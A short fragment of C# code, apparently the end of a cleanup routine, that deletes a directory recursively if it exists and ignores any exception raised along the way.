if (Directory.Exists(path))
|
|
{
|
|
Directory.Delete(path, recursive: true);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|